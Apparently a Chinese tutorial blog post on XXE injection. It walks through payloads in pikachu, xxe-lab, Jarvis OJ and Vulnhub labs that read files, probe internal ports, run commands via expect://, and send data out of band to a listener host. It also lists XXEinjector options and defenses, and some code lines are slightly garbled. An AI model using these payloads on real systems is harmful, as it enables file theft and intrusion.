WEB漏洞-XXE&XML之利用检测绕过全解

QQ截图20220228140424.jpg

XML原理分析

XML和XXE区别

  • XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。
  • XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML和HTML的区别

  • XML 与 HTML 的主要差异:XML 被设计为传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。HTML 旨在显示信息 ,而 XML 旨在传输信息。
<!--XML 声明-->

<?xml version="1.0"?>

<!--文档类型定义-->

<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->

<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->

<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->

<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->

<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->

<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->

]]]>

<!--文档元素-->

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

DTD文档类型定义

  • (DTD)可定义合法的 XML 文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
<!--内部的 DOCTYPE 声明-->

<!DOCTYPE 根元素 [元素声明]>

<!--外部文档声明-->

<!DOCTYPE 根元素 SYSTEM ”文件名”>

DTD 实体

<!--内部实体声明-->

<!ENTITY 实体名称 "实体的值">

<!--外部实体声明-->

<!ENTITY 实体名称 SYSTEM "URI">

<!--参数实体声明-->

<!ENTITY %实体名称 "实体的值">

<!ENTITY %实体名称 SYSTEM "URI">

pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入

QQ截图20220228143812.jpg

QQ截图20220228145005.jpg

读取文件

  • 用file伪协议读取c盘的1.txt文件,当然这里的伪协议是隐藏在XML的文档实体中,这种是有回显的类型的漏洞
<?xml version = "1.0"?>
<!--xml的声明-->
<!--文档的类型定义:这里是所有的格式都可以-->
<!--文档的实体,xxe为实体里面的变量,下面就执行这个变量-->
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/hosts">
]>
<x>&xxe;</x>

将以上内容传入后,获得回显结果

QQ截图20220228145522.jpg

内网探针或攻击内网应用(触发漏洞地址)

  • 这里是探针内网端口对应的网站(相当于进行了端口扫描)
  • 以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY rabbit SYSTEM "http://192.168.50.10:82/1.txt">
]>
<x>&rabbit;</x>

QQ截图20220228152643.jpg

  • 如果地址不对,就显示的这个界面

QQ截图20220228152701.jpg

玩法-RCE(该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令)

  • RCE是远程命令执行漏洞
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
  • 引入外部实体 dtd

  • 访问本地的evil2.dtd文件(这个是XML的格式文件,访问该文件就会以XML格式执行)

  • evil2.dtd文件中,写入XML的伪协议代码:访问本地D盘的test.txt文件

  • 条件:在对方代码有没有禁止外部实体

<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://192.168.50.10:82/evil2.dtd">
%file;
]>
<x>&send;</x>
  • 其中evil2.dtd文件内容
<!ENTITY send SYSTEM "file:///etc/hosts">
  • evil2.dtd文件放到靶场的端口根目录
  • 执行包含伪协议的XML(类似于文件包含中:远程包含的原理),可以用于绕过拦截软件

QQ截图20220228154932.jpg

QQ截图20220228154851.jpg

无回显-读取文件

  1. 读取test.txt文件的内容(端口根目录),然后base64加密赋值给变量file
  2. 访问自己本地的test.dtd文件(貌似这里也可以说内网的其它电脑,我猜测是本地,应为要自己伪造test.dtd文件才行),以XML格式执行本地的test.dtd文件
  3. 将本地test.txt文件的加密内容赋值给data变量。然后再通过日志的读取或者文件的接受变量来获取靶场的1.txt的文件的内容
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.50.10:82/test.dtd">
%dtd;
%send;
]>
  • test.dtd文件
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;
  • 访问以后在日志中发现结果,将内容解码后获得信息

QQ截图20220228161502.jpg

xxe-lab 靶场登陆框 xml 数据传输测试-检测发现

QQ截图20220228163010.jpg

  • 触发表单时,发现为xml格式

QQ截图20220228163155.jpg

  • 尝试修改内容
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/hosts">
]>

<user><username>&xxe;</username><password>22222</password></user>

QQ截图20220228163725.jpg

QQ截图20220228163808.jpg

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

  • http://web.jarvisoj.com:9882/
  • 打开网站:发现是一个用户输入的窗口,输入数据,点击提交然后抓包分析
  • 发现post传输的数据是以字典的形式,{“serach”:”type sth”,”value”:”own”}
  • 文件类型:content-type:application/json

QQ截图20220228202836.png

更改content-type值查看返回

  • 将文件类型修改为:content-type:application/XML
  • 将post的数据修改为XML格式
  • 读取Linux系统下的/etc/hosts
POST /api/v1.0/try HTTP/1.1
Host: web.jarvisoj.com:9882
Content-Length: 108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/XML
Accept: */*
Origin: http://web.jarvisoj.com:9882
Referer: http://web.jarvisoj.com:9882/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/hosts">
]>

<x>&xxe;</x>

QQ截图20220228202615.png

Vulnhub-XXE 安全真题复现

QQ截图20220301095411.jpg

  • 在对服务器目录进行扫描,获得到了以下结果

QQ截图20220301095547.jpg

  • 访问robots.txt,查看结果

QQ截图20220301101259.jpg

  • 访问出现的内容

QQ截图20220301101338.jpg

QQ截图20220301101407.jpg

  • 尝试登录抓包发现xml结构

QQ截图20220301101448.jpg

  • 修改数据包发现页面有回显,可以尝试获取网站的源码

QQ截图20220301101637.jpg

  • xxe.php
<?xml version = "1.0"?>
<!DOCTYPE ANY [ 
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> 
]>
<root><name>&f;</name><password>1234567</password></root>
  • 获得的结果进行base64解密,内容没什么价值

QQ截图20220301101923.jpg

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$password = $info->password;

echo "Sorry, this $name not available!";
?>
  • admin.php
<?xml version = "1.0"?>
<!DOCTYPE ANY [ 
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php"> 
]>
<root><name>&f;</name><password>1234567</password></root>
  • 获得的结果进行base64解密,发现了一个用户名和md5值,还有/flagmeout.php

QQ截图20220301102301.jpg

<!--?php
session_start();
?-->
<html lang="en">
 <head> 
  <title>admin</title> 
  <link href="css/bootstrap.min.css" rel="stylesheet" /> 
  <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }

         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }

         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }

         .form-signin .checkbox {
            font-weight: normal;
         }

         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }

         .form-signin .form-control:focus {
            z-index: 2;
         }

         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }

         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }

         h2{
            text-align: center;
            color: #017572;
         }
      </style> 
 </head> 
 <body> 
  <h2>Enter Username and Password</h2> 
  <div class="container form-signin"> 
   <!--?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
    if ($_POST['username'] == 'administhebest' && md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
        $_SESSION['valid'] = true;
        $_SESSION['timeout'] = time();
        $_SESSION['username'] = 'administhebest';
        echo "You have entered valid use name and password <br /-->&quot;; $flag = &quot;Here is the 
   <a style="color:FF0000;" href="/flagmeout.php">Flag</a>&quot;; echo $flag; } else { $msg = 'Maybe Later'; } } ?&gt; 
  </div> 
  <!-- W00t/W00t --> 
  <div class="container"> 
   <form class="form-signin" role="form" action="&lt;?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?&gt;" method="post"> 
    <h4 class="form-signin-heading">
     <!--?php echo $msg; ?--></h4> 
    <input type="text" class="form-control" name="username" required="" autofocus="" />
    <br /> 
    <input type="password" class="form-control" name="password" required="" /> 
    <button class="btn btn-lg btn-primary btn-block" type="submit" name="login">Login</button> 
   </form> Click here to clean 
   <a href="adminlog.php" tite="Logout">Session. </a>
  </div>
  <a href="adminlog.php" tite="Logout">  </a>
 </body>
</html>
  • 尝试登录发现的用户和密码

QQ截图20220301102650.jpg

QQ截图20220301102746.jpg

QQ截图20220301103916.jpg

  • /flagmeout.php
<?xml version = "1.0"?>
<!DOCTYPE ANY [ 
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php"> 
]>
<root><name>&f;</name><password>1234567</password></root>
  • 获得的结果进行base32解密

QQ截图20220301102947.jpg

<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>
  • 经过base32解码后再进行base64解码
#原文
JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5

#base32
L2V0Yy8uZmxhZy5waHA=

#base64
/etc/.flag.php
  • 尝试获取/etc/.flag.php文件内容
<?xml version = "1.0"?>
<!DOCTYPE ANY [ 
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php"> 
]>
<root><name>&f;</name><password>1234567</password></root>
  • 获得的结果进行base64解密,像是php代码
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);
  • 尝试运行这片代码
  • SAFCSP{xxe_is_so_easy}

QQ截图20220301110453.jpg

安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

QQ截图20220301111743.jpg

常用参数

  • --host : 必填项– 用于建立反向链接的IP地址。(host=192.168.0.2)
  • --file : 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
  • --path : 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
  • --brute : 必填项-是否需要爆破文件 -爆破文件的路径(brute=/tmp/brute.txt)
  • --logger : 记录输出结果。
  • --rhost : 远程主机IP或域名地址。(--rhost=192.168.0.3)
  • --rport : 远程主机的TCP端口信息。(--rport=8080)
  • --phpfilter : 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
  • --netdoc : 使用netdoc协议。(Java).
  • --enumports : 枚举用于反向链接的未过滤端口(enumports=21,22,80,443,445)
  • --hashes : 窃取运行当前应用程序用户的Windows哈希。
  • --expect : 使用PHP expect扩展执行任意系统命令。(--expect=ls)
  • --upload : 使用Java jar向临时目录上传文件。(upload=/tmp/upload.txt)
  • --xslt : XSLT注入测试。
  • --ssl : 使用SSL。
  • --proxy : 使用代理。(--proxy=127.0.0.1:8080)
  • **--httpport Set自定义HTTP端口。(--httpport=80)
  • --ftpport : 设置自定义FTP端口。(--ftpport=21)
  • --gopherport : 设置自定义gopher端口。(--gopherport=70)
  • --jarport : 设置自定义文件上传端口。(--jarport=1337)
  • --xsltport : 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
  • --test : 该模式可用于测试请求的有效。
  • --urlencode : URL编码,默认为URI。
  • --output : 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
  • --timeout : 设置接收文件/目录内容的Timeout。(--timeout=20)
  • --contimeout : 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
  • --fast : 跳过枚举询问,有可能出现结果假阳性。
  • --verbose : 显示verbose信息。

xxe 漏洞修复与防御方案

  1. 禁用外部实体
  • PHP
libxml_disable_entity_loader(true);
  • JAVA
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
  • Python
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 过滤用户提交的 XML 数据
  • 过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC(这里可以用加密绕过)
  1. 方案3装WAF产品